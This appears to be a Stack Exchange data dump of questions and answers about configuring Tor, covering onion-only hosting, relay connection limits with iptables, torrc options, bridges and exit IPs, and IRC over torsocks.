  <row Id="22971" PostTypeId="1" CreationDate="2021-12-30T10:17:08.207" Score="1" ViewCount="527" Body="&lt;p&gt;it seems like an easy question but I cannot find good information. I have built a PHP website that is of course available in the clearnet through the IP and I have a hidden service running (so it is available through an onion address). How do I hide my website in the clearnet and only make it reachable through its onion address through TOR?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="33865" LastEditorUserId="-1" LastEditDate="2023-08-03T03:47:24.207" LastActivityDate="2023-08-03T03:47:24.207" Title="Hide/disable clearnet website and make only available through onion link" Tags="|tor-browser-bundle|onion-services|onion-routing|darknet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22972" PostTypeId="2" ParentId="22971" CreationDate="2021-12-30T16:50:29.113" Score="0" Body="&lt;p&gt;If I understood your question, you want to deny clear net-based access, and only allow tor-based ones. If this is true, you must set up your machine behind an excellent firewall, that don't allow any incoming connections except for those originated from your tor-client. How to do it depends on your environment.&lt;br /&gt;&#xA;You can also avoid IP connections by not leaking your IP address. Only advertise your &lt;code&gt;.onion&lt;/code&gt; address instead. :)&lt;/p&gt;&#xA;" OwnerUserId="33867" LastActivityDate="2021-12-30T16:50:29.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22973" PostTypeId="2" ParentId="20308" CreationDate="2022-01-01T11:14:41.677" Score="0" Body="&lt;p&gt;try to find it in the below folder.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/etc/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is a sample file by &lt;code&gt;torrc.sample&lt;/code&gt; name. You can rename it.&lt;/p&gt;&#xA;" OwnerUserId="33877" LastActivityDate="2022-01-01T11:14:41.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22975" PostTypeId="2" ParentId="22967" CreationDate="2022-01-02T20:07:08.230" Score="1" Body="&lt;p&gt;The Tor Browser has more detailed information because it uses the &lt;code&gt;ExtendedErrors&lt;/code&gt; configuration for the &lt;code&gt;SocksPort&lt;/code&gt; in the torrc file. For example in your torrc file, you can use &lt;code&gt;SocksPort 9050 ExtendedErrors&lt;/code&gt; to enable this feature. When you connect to tor's socks proxy, it will then return these non-standard error codes, although most client applications (such as curl) won't know what they mean. Overview of the possible error codes are below, see the man page for details:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;X'F0' Onion Service Descriptor Can Not be Found&#xA;X'F1' Onion Service Descriptor Is Invalid&#xA;X'F2' Onion Service Introduction Failed&#xA;X'F3' Onion Service Rendezvous Failed&#xA;X'F4' Onion Service Missing Client Authorization&#xA;X'F5' Onion Service Wrong Client Authorization&#xA;X'F6' Onion Service Invalid Address&#xA;X'F7' Onion Service Introduction Timed Out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-01-02T20:07:08.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22977" PostTypeId="1" CreationDate="2022-01-03T12:55:20.850" Score="0" ViewCount="258" Body="&lt;p&gt;In the torrc there is 'uncomment this to mirror directory information for others, please do if you have enough bandwith'&lt;/p&gt;&#xA;&lt;p&gt;I basically would have some bandwith free but my router is out of RAM. But this isn't  the question... Why is there an option DirPortFrontPage /etc/tor/tor-exit-notice.html?&lt;/p&gt;&#xA;&lt;p&gt;Mirroring a Tor Directory doesn't not make you to an exit node, doesn't it? So what risks are if you mirror a Tor directory? Is it safe with the law to do it at home?&lt;/p&gt;&#xA;" OwnerUserId="33891" LastActivityDate="2022-02-09T23:01:45.167" Title="What is mirroring a Tor directory" Tags="|configuration|directory|mirrors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22979" PostTypeId="1" CreationDate="2022-01-04T13:27:35.933" Score="0" ViewCount="23" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/111276/not-able-to-create-private-v3-onion-service/111603#111603&quot;&gt;https://bitcoin.stackexchange.com/questions/111276/not-able-to-create-private-v3-onion-service/111603#111603&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is related to the above post. Running tor with &lt;code&gt;-f /etc/tor/torrc&lt;/code&gt; works fine, but it breaks the systemctl service when ClientOnionAuthDir is added to&lt;/p&gt;&#xA;&lt;p&gt;edit: I have tried changing the ownership of the file. I also tried changing &lt;code&gt;user&lt;/code&gt; and other things in the launch options of &lt;code&gt;/lib/systemd/system/tor@*&lt;/code&gt;. It makes no difference.&lt;/p&gt;&#xA;" OwnerUserId="33899" LastEditorUserId="33899" LastEditDate="2022-01-05T18:13:53.000" LastActivityDate="2022-02-04T23:01:40.223" Title="V3 Client Auth breaks systemctl default service" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22980" PostTypeId="1" AcceptedAnswerId="22985" CreationDate="2022-01-04T13:47:03.667" Score="0" ViewCount="385" Body="&lt;p&gt;My router doesn't seem to have enough RAM to hold all Tor connections. My internet's basically dead. Have to use mobile internet :(&#xA;So I have to limit the connections that Tor makes or the server makes. I don't want to put down the bandwith I have since I want to support Tor as much as possible. Currently my server has 4000 connections on average since 3. January&lt;/p&gt;&#xA;&lt;p&gt;I researched, tried what I can do but I failed. I had the idea to limit it using iptables, but that didn't seem to work. Here the link: &lt;a href=&quot;https://serverfault.com/questions/539954/how-to-globally-limit-total-number-of-tcp-connections-with-iptables&quot;&gt;https://serverfault.com/questions/539954/how-to-globally-limit-total-number-of-tcp-connections-with-iptables&lt;/a&gt;&#xA;The only difference here is that it limits the connections for the whole server. I would be fine with it. &lt;strong&gt;It you add a --dport 35565 (OrPort) you would limit it for Tor only. Add it after --syn.&lt;/strong&gt; I tried with and without OrPort. Tor does not use UDP so I don't have to limit the UDP connections.&lt;/p&gt;&#xA;&lt;p&gt;Please help me as quick as you can since my parents are a bit angry about it and if I can't fix it I have to shut down the tor relay.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;New:&#xA;A limit like 15 works. But 2000 doesn't work. Why, iptables????&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A INPUT -p tcp --syn --dport 25565 -m connlimit --connlimit-above 15 --connlimit-mask 0 -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;works&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A INPUT -p tcp --syn -m connlimit --connlimit-above 2000 --connlimit-mask 0 -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;doesn't work&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Using Ubuntu 21.04....&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="33891" LastEditorUserId="33891" LastEditDate="2022-01-05T18:04:12.873" LastActivityDate="2022-01-07T12:28:58.250" Title="How can I limit the numbers of connections a Tor Relay is able to make? (iptables)" Tags="|configuration|error|connection|routers|iptables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22981" PostTypeId="2" ParentId="22979" CreationDate="2022-01-05T17:10:37.777" Score="0" Body="&lt;p&gt;Answered in bitcoin thread.&lt;/p&gt;&#xA;&lt;p&gt;It was a permissions problem for the service. The folder and file needed to be authored by &lt;code&gt;-u debian-tor&lt;/code&gt; otherwise it would not work.&lt;/p&gt;&#xA;&lt;p&gt;The commands i used:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo -u debian-tor mkdir /var/lib/tor/onion-auth; sudo vim /var/lib/tor/onion-auth/x1.auth_private&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33899" LastEditorUserId="33899" LastEditDate="2022-01-05T22:47:48.727" LastActivityDate="2022-01-05T22:47:48.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22982" PostTypeId="2" ParentId="20691" CreationDate="2022-01-05T19:20:17.990" Score="0" Body="&lt;p&gt;I don't make it full screen - but I don't like to be using it way it's letterboxed so I want to turn it off and make my borders what I want them by sizing the window myself.&lt;/p&gt;&#xA;" OwnerUserId="33903" LastActivityDate="2022-01-05T19:20:17.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22983" PostTypeId="1" CreationDate="2022-01-05T22:47:22.850" Score="0" ViewCount="170" Body="&lt;p&gt;I was spending a lot of time investigating cryptocurrencies using Tor over Tails, mostly Wiki. When I closed browser and opened Twitter on my Android there were crypto ads all over! Bluetooth on both devices off and App permissions/Google settings set for privacy. I don't usually get these ads. Just a coincidence?&lt;/p&gt;&#xA;" OwnerUserId="33904" LastActivityDate="2022-02-05T08:00:50.093" Title="Can Android see my Tor traffic? Running Tor over Tails" Tags="|tails|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22984" PostTypeId="2" ParentId="22983" CreationDate="2022-01-06T07:08:29.620" Score="0" Body="&lt;p&gt;The connections in Tails are carefully routed through Tor, and Bluetooth is disabled IIRC, an interception in-the-wild from your smartphone is not the most probable.&#xA;You may want to consider these possibilities:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You used a personal online account while browsing with Tails, connecting your 'anonymous' activity to your usual identity.&lt;/li&gt;&#xA;&lt;li&gt;You pay more attention to crypto ads.&lt;/li&gt;&#xA;&lt;li&gt;Your behaviors are too predictable &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2022-01-06T07:08:29.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22985" PostTypeId="2" ParentId="22980" CreationDate="2022-01-07T12:28:58.250" Score="1" Body="&lt;p&gt;This script works, but may need a bit of improvement like a trap command. I made it by myself.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;!/bin/bash&#xA;&#xA;#iptables -A INPUT -p tcp --syn --dport 35565 -m connlimit --connlimit-above 15 --connlimit-mask 0 -j REJECT --reject-with tcp-reset&#xA;&#xA;####### ALL VARIABLES #######&#xA;active=False            # Don't modify please.&#xA;iptables -F INPUT       # remove all iptables INPUT rules. You can comment it out if you have other rules active. We want to avoid existing limits.&#xA;max_connections=3900    # The total of connections you want to allow for this server.&#xA;ORPort=35565            # The port your Tor Relay is using.&#xA;snore=60                # Time how long to wait, until it checks again. In seconds but you can use following expressions: s, m, h, d, ... (sleep command, example: 1h).&#xA;####### END VARIABLES #######&#xA;&#xA;######################## DONT MODIFY THE CODE BELOW UNLESS YOU KNOW WHAT YOU'RE DOING!&#xA;while (true)&#xA;do&#xA;    n_connections=`netstat -n --tcp|wc -l`&#xA;    if [ &amp;quot;$n_connections&amp;quot; -ge &amp;quot;$max_connections&amp;quot; ]&#xA;    then&#xA;        if [ &amp;quot;$active&amp;quot; == &amp;quot;False&amp;quot; ]&#xA;        then&#xA;            iptables -A INPUT -p tcp --syn --dport &amp;quot;$ORPort&amp;quot; -m connlimit --connlimit-above 15 --connlimit-mask 0 -j REJECT --reject-with tcp-reset&#xA;            active=True                                # Don't allow more than 15 connections. Existing connections will still work.&#xA;            echo &amp;quot;Tor Limit: Limit activated, your server has $n_connections&amp;quot;&#xA;                                                       # I don't recommend to block output connections because if you're a guard you will change output connections often&#xA;        fi&#xA;    else&#xA;        if [ $active ]&#xA;        then&#xA;            iptables -F INPUT&#xA;            active=False&#xA;            echo &amp;quot;Tor Limit: Limit deactivated&amp;quot;&#xA;        fi&#xA;    fi&#xA;    &#xA;    sleep &amp;quot;$snore&amp;quot;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33891" LastActivityDate="2022-01-07T12:28:58.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22986" PostTypeId="1" AcceptedAnswerId="22992" CreationDate="2022-01-07T16:18:12.027" Score="1" ViewCount="682" Body="&lt;p&gt;I'm a newbie to Tor so maybe I'm doing something wrong.&lt;/p&gt;&#xA;&lt;p&gt;I installed Tor in a Raspberry Pi Zero W, connected to the local network, and modified the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file so that it can be accessed only by members of my LAN.&lt;/p&gt;&#xA;&lt;p&gt;I tested and it works:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-bsh prettyprint-override&quot;&gt;&lt;code&gt;curl --socks5 alarmpi:9050 --socks5-hostname alarmpi:9050 -s https://check.torproject.org/api/ip&#xA;{&amp;quot;IsTor&amp;quot;:true,&amp;quot;IP&amp;quot;:&amp;quot;xx.xx.xx.xx&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I tried to setup the IRC client &lt;strong&gt;irssi&lt;/strong&gt; to connect to LiberaChat onion service.&lt;/p&gt;&#xA;&lt;p&gt;I followed &lt;a href=&quot;https://libera.chat/guides/connect#accessing-liberachat-via-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;the official guide&lt;/a&gt;, where it is specified to add this entry to &lt;em&gt;torrc&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress palladium.libera.chat libera75jm6of4wxpxt4aynol3xjmbtxgfyjpu34ss4d7r7q2v5zrpyd.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I added &lt;code&gt;palladium.libera.chat&lt;/code&gt; as server to irssi with my self-signed certificate, previously loaded into the IRC, and set the SASL EXTERNAL authentication mechanism to the network where the server was added.&lt;/p&gt;&#xA;&lt;p&gt;I started irssi with &lt;strong&gt;torsocks&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-bsh prettyprint-override&quot;&gt;&lt;code&gt;# Had to specify the ip because torsocks gave me an error with the hostname&#xA;torsocks -i -a 192.168.10.5 -P 9050 irssi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then tried to connect to LiberaChat onion service&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-bsh prettyprint-override&quot;&gt;&lt;code&gt;/connect -network Libera palladium.libera.chat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but it gave me this error: &lt;code&gt;ERROR torsocks[14686]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_reply()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Changing &lt;code&gt;palladium.libera.chat&lt;/code&gt; to an ip address (&lt;code&gt;10.40.40.40&lt;/code&gt;), both in irssi and Tor configuration, solved the problem&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-bsh prettyprint-override&quot;&gt;&lt;code&gt;7:06 -!- Irssi v1.2.3-1 - https://irssi.org&#xA;17:06 -!- Irssi: Looking up 10.40.40.40&#xA;17:06 -!- Irssi: Connecting to 10.40.40.40 [10.40.40.40] port 6697&#xA;17:06 -!- Irssi: Certificate Chain:&#xA;17:06 -!- Irssi:   Subject: CN: palladium.libera.chat&#xA;17:06 -!- Irssi:   Issuer:  C: US, O: Let's Encrypt, CN: R3&#xA;17:06 -!- Irssi:   Subject: C: US, O: Let's Encrypt, CN: R3&#xA;17:06 -!- Irssi:   Issuer:  C: US, O: Internet Security Research Group, CN: ISRG Root X1&#xA;17:06 -!- Irssi: Protocol: TLSv1.3 (256 bit, TLS_AES_256_GCM_SHA384)&#xA;17:06 -!- Irssi: EDH Key: 253 bit Unknown&#xA;17:06 -!- Irssi: Public Key: 4096 bit RSA, valid from Dec 11 23:30:38 2021 GMT to Mar 11 23:30:37 2022 &#xA;          GMT&#xA;17:06 -!- Irssi: Public Key Fingerprint: xxx (SHA256)&#xA;17:06 -!- Irssi: Certificate Fingerprint: xxx (SHA256)&#xA;17:06 -!- Irssi: Connection to 10.40.40.40 established&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I really don't know why the logical address did not work while the ip did. Maybe I'm missing something.&lt;br /&gt;&#xA;How can I solve?&lt;/p&gt;&#xA;" OwnerUserId="33916" OwnerDisplayName="Demetrio" LastEditorUserId="33916" LastEditDate="2022-01-08T12:06:19.330" LastActivityDate="2022-01-09T21:13:19.020" Title="irssi with Tor - Mapped hostname not working" Tags="|torsocks|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22987" PostTypeId="2" ParentId="9108" CreationDate="2022-01-08T02:37:02.527" Score="0" Body="&lt;p&gt;On Ubuntu 20.04.3 LTS, I was able to find and copy the bookmarks file by doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install mlocate&#xA;locate places.sqlite | grep TorBrowser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Make sure the new machine's TorBrowser app is not running, then copy that file over to the new Ubuntu machine.&lt;/p&gt;&#xA;&lt;p&gt;Start up the new machine's TorBrowser and voila!  Your bookmarks are back.&lt;/p&gt;&#xA;" OwnerUserId="33918" LastActivityDate="2022-01-08T02:37:02.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22988" PostTypeId="1" AcceptedAnswerId="22989" CreationDate="2022-01-09T09:07:01.863" Score="3" ViewCount="32372" Body="&lt;p&gt;Most of the onion links that I copy paste in DuckDuckGo on tor browser show 'invalid onionsite address'. Even the very common ones like the url for torch. I tried connecting with a bridge, it didn't help. Now I don't have much idea at all about how it works, but I read an answer on quora related to my issue and it said to add this line in the torrc file- 'FascistFirewall 1', so I did.. still nothing.&lt;/p&gt;&#xA;&lt;p&gt;I opened the DuckDuckGo onion search engine. Then I tried to paste the url for torch in there. Many clearnet search results came.. and above the results a pop up said 'You are trying to reach an onion/hidden service. To access cnkj6nippubgycuj.onion via web you will have to use Tor Browser.' But I am already searching all this from Tor browser itself.. I have connected to tor browser. So why does it say that, why doesn't the link open? This one onion chatroom that I have been accessing for a few days, it always opens no problem. It is an onion link too, so why don't other onion links open?&lt;/p&gt;&#xA;" OwnerUserId="33925" LastActivityDate="2022-03-17T20:56:10.030" Title="Invalid Onionsite Address" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22989" PostTypeId="2" ParentId="22988" CreationDate="2022-01-09T13:13:53.130" Score="1" Body="&lt;p&gt;Onion services with short urls are called &amp;quot;V2&amp;quot; addresses. For example, cnkj6nippubgycuj.onion is a V2 address. These addresses have been deprecated as of July of last year and you can't reach them anymore. Here is the &lt;a href=&quot;https://support.torproject.org/onionservices/v2-deprecation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; on the Tor Website talking about this.&lt;/p&gt;&#xA;&lt;p&gt;Here's an example of a V3 address. This is to the &lt;a href=&quot;http://pzhdfe7jraknpj2qgu5cz2u3i4deuyfwmonvzu5i3nyw4t4bmg7o5pad.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project's blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-01-09T13:13:53.130" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22991" PostTypeId="2" ParentId="20767" CreationDate="2022-01-09T17:48:02.087" Score="1" Body="&lt;p&gt;This is a result of the Russian state censorship. We're - my project community and I - are working on the fix, and will publish it soon. All you need now is to find an &lt;em&gt;unpublished&lt;/em&gt; bridge for Tor: the proxy-related error message is actually an error message from a plugable transport that indicates that it can't reach the bridge - the bridge is banned or filtered. Prefer obfs4 bridges for now&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-09T17:48:02.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22992" PostTypeId="2" ParentId="22986" CreationDate="2022-01-09T21:13:19.020" Score="2" Body="&lt;p&gt;irssi looks like it very strictly only works with real fqdn names that it can resolve directly with DNS. It &lt;a href=&quot;https://irssi.org/documentation/startup/#proxies-and-irc-bouncers&quot; rel=&quot;nofollow noreferrer&quot;&gt;works with socks4&lt;/a&gt; but not with socks5 so you can't use the tor proxy directly.&lt;/p&gt;&#xA;&lt;p&gt;The official guide works great with hexchat, but irssi isn't mentioned and it looks like it's not compatible. With that said a quick google search shows that there is &lt;a href=&quot;https://github.com/ensc/irssi-proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;a version of irssi that supports socks5&lt;/a&gt;, but you have to compile it yourself from source.&lt;/p&gt;&#xA;&lt;p&gt;I would suggest using hexchat instead. It has socks5 built-in and it works very well. If you're dead set on using a cli irc client, there's always emacs (not kidding, it works).&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-01-09T21:13:19.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22993" PostTypeId="2" ParentId="22977" CreationDate="2022-01-10T22:56:51.730" Score="0" Body="&lt;p&gt;Well, it's a HTTP GET mirror just like &lt;code&gt;rsync&lt;/code&gt; tool, but only from the network consensus: it caches the &lt;em&gt;cryptographically signed&lt;/em&gt; answers from the main directory servers. The &lt;code&gt;DirPortFrontPage /etc/tor/tor-exit-notice.html&lt;/code&gt; is just an &lt;code&gt;index.html&lt;/code&gt; page for the browser that will just open your IP+port without any url specified. It's considered to be an informational page that it's a Tor exit node. My good advice to you - use a standard Apache(preferable) or NGinx index page to trick the DPI scanners. Some ISP's or censoring parties do scan actively for tor directory mirrors&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-10T22:56:51.730" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22994" PostTypeId="2" ParentId="22971" CreationDate="2022-01-10T23:30:26.107" Score="1" Body="&lt;p&gt;It's just as simple as putting it behind a reverse proxy: basically, Tor &lt;em&gt;is&lt;/em&gt; a reverse TCP proxy for it's hidden services. So - make a &lt;em&gt;separate&lt;/em&gt; localhost interface with an address like 127.0.0.&lt;strong&gt;2&lt;/strong&gt; to make sure that no standard firewall rules will mess up, and just bind your web server to this IP and port. After that &lt;strong&gt;make sure&lt;/strong&gt; to disable any network activity for the web server's user except that new localhost to prevent any data leaks(use a filesystem socket for database connection). That's it! Point your hidden service to 127.0.0.&lt;strong&gt;2&lt;/strong&gt; and it will work just fine&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-10T23:30:26.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22996" PostTypeId="1" AcceptedAnswerId="22997" CreationDate="2022-01-11T18:38:52.557" Score="0" ViewCount="111" Body="&lt;p&gt;When I connect to Tor through a bridge, is the public IP that the services like websites see &lt;a href=&quot;https://community.torproject.org/relay/types-of-relays/&quot; rel=&quot;nofollow noreferrer&quot;&gt;that of an exit relay&lt;/a&gt; or that of a bridge? Is my public IP always that of an exit relay, irrespective of being connected through a bridge or not?&lt;/p&gt;&#xA;" OwnerUserId="28671" LastEditorUserId="28671" LastEditDate="2022-01-11T19:24:59.420" LastActivityDate="2022-01-11T20:08:24.187" Title="Is my public IP, the one that I get from Tor, that of an exit relay of that of a bridge when I connect to tor through a bridge?" Tags="|exit-relays|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22997" PostTypeId="2" ParentId="22996" CreationDate="2022-01-11T20:08:24.187" Score="1" Body="&lt;h2&gt;It is the &lt;strong&gt;exit&lt;/strong&gt; node's public IP address&lt;/h2&gt;&#xA;&lt;p&gt;Bridges are your first step into the Tor network while exit nodes are your last one. It is the exit nodes that do the requests through the regular Internet (or &lt;em&gt;clearnet&lt;/em&gt;) on your behalf, so it is &lt;strong&gt;the exit nodes'&lt;/strong&gt; IP address the ones the services see.&lt;/p&gt;&#xA;" OwnerUserId="28263" LastActivityDate="2022-01-11T20:08:24.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22998" PostTypeId="1" CreationDate="2022-01-12T21:44:17.977" Score="0" ViewCount="154" Body="&lt;p&gt;I have a (probably stupid) quirk/&lt;a href=&quot;https://en.wikipedia.org/wiki/Obsessive%E2%80%93compulsive_disorder&quot; rel=&quot;nofollow noreferrer&quot;&gt;OCB&lt;/a&gt;: When I want my traffic to a website to be particularly hard to backtrace, I click dozens of times on the &lt;code&gt;new circuit for this site&lt;/code&gt; button (sometimes for &amp;gt;15 minutes) until I get a combination of countries which don't cooperate with each other, therefore making it harder to potentially trace back the traffic to me. Once I have a route I like, I start using the website.&lt;/p&gt;&#xA;&lt;p&gt;However in this process I create dozens of routes from me to this site, thereby probably drawing unwanted attention to me and making it easier to deanonymize me. It also wastes Tor resources.&lt;/p&gt;&#xA;&lt;p&gt;I would be thankful for a &lt;em&gt;technical&lt;/em&gt; analysis of how valid my concerns are and an assessment of whether or not the advantage of a geopolitical advantageous circuit outweighs the drawback of the multitude of potentially denonymizing trials I need to get there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LwPbm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwPbm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33941" LastEditorUserId="33941" LastEditDate="2022-01-15T12:38:42.437" LastActivityDate="2022-01-15T12:38:42.437" Title="Does clicking on &quot;new circuit for this site&quot; too often risk deanonymization?" Tags="|tor-browser-bundle|anonymity|security|circuit|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22999" PostTypeId="2" ParentId="22998" CreationDate="2022-01-13T03:03:00.030" Score="1" Body="&lt;p&gt;Well, it is &lt;strong&gt;not&lt;/strong&gt; an issue, but you should elaborate using Tor Control Protocol via Stem or a similar library to build a circuit you want &lt;em&gt;a way faster&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-13T03:03:00.030" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23000" PostTypeId="2" ParentId="733" CreationDate="2022-01-13T15:11:25.100" Score="0" Body="&lt;p&gt;Into file &lt;code&gt;/etc/tor/torrc&lt;/code&gt; add new line &lt;code&gt;ExitNodes {fr} StrictNodes 1&lt;/code&gt;&#xA;it will make sure to only connect using French exit nodes.&lt;/p&gt;&#xA;&lt;p&gt;If you are using Tor browser, then you may need to use different torrc file. Find it using:&lt;/p&gt;&#xA;&lt;p&gt;A) &lt;code&gt;locate torrc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;B) &lt;code&gt;find / -type f -name torrc&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10728" LastActivityDate="2022-01-13T15:11:25.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23001" PostTypeId="1" CreationDate="2022-01-13T16:12:47.230" Score="0" ViewCount="288" Body="&lt;p&gt;For all my applications I am happy with the 10 min &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; - it shall not change.&#xA;But there is one application that needs the same IP for multiple requests (more than 10 min apart).&lt;/p&gt;&#xA;&lt;p&gt;I thought I could generate a new &lt;code&gt;SocksPort&lt;/code&gt; for that specific purpose but I would need to adapt the &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; for that Port only. Is that possible or is there an alternative?&lt;/p&gt;&#xA;" OwnerUserId="33947" LastActivityDate="2022-01-18T13:34:12.137" Title="Create a SocksPort with fix circuit/greater MaxCircuitDirtiness" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23003" PostTypeId="2" ParentId="21431" CreationDate="2022-01-14T14:31:15.007" Score="0" Body="&lt;p&gt;There is a tool called &lt;a href=&quot;https://github.com/BlackArch/torctl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;torctl&lt;/code&gt;&lt;/a&gt; which lets you do exactly that.&#xA;It is written in bash however, so you can only use it on Linux/OSX.&lt;/p&gt;&#xA;&lt;p&gt;By editing your &lt;code&gt;torrc&lt;/code&gt; file, you are able to spoof your location.&lt;br /&gt;&#xA;e.g. append &lt;code&gt;ExitNodes {us},{ca}&lt;/code&gt; to your &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30634" LastActivityDate="2022-01-14T14:31:15.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23004" PostTypeId="1" AcceptedAnswerId="23007" CreationDate="2022-01-14T15:14:29.437" Score="1" ViewCount="211" Body="&lt;p&gt;So I have currently setup a hidden service to give me an onion address and the port it runs off is port 80 or 443. For some cybersecurity research I'm doing, I was initially going to setup an exit node however there's so many issues with monitoring-related studies, that the hidden service is my next best option - since I'm only monitoring myself. I do this as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /usr/local/etc/tor/hidden_service/robot&#xA;HiddenServicePort 443 127.0.0.1:443&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have some TLS pcap data which I was planning on replaying to understand the impact of Tor in my use case, and monitoring the incoming data on the host (another machine of mine) running the hidden service to capture the &amp;quot;tor&amp;quot; packets.&lt;/p&gt;&#xA;&lt;p&gt;My question is, how can I use Python (as an example, as I can use ScaPy for TLS replaying) for sending the data to the hidden service (i.e. socks?) so I can then monitor the incoming data on the hidden service machine using Wireshark?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33958" LastActivityDate="2022-01-20T18:16:02.727" Title="Sending data to hidden service without browser" Tags="|onion-services|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
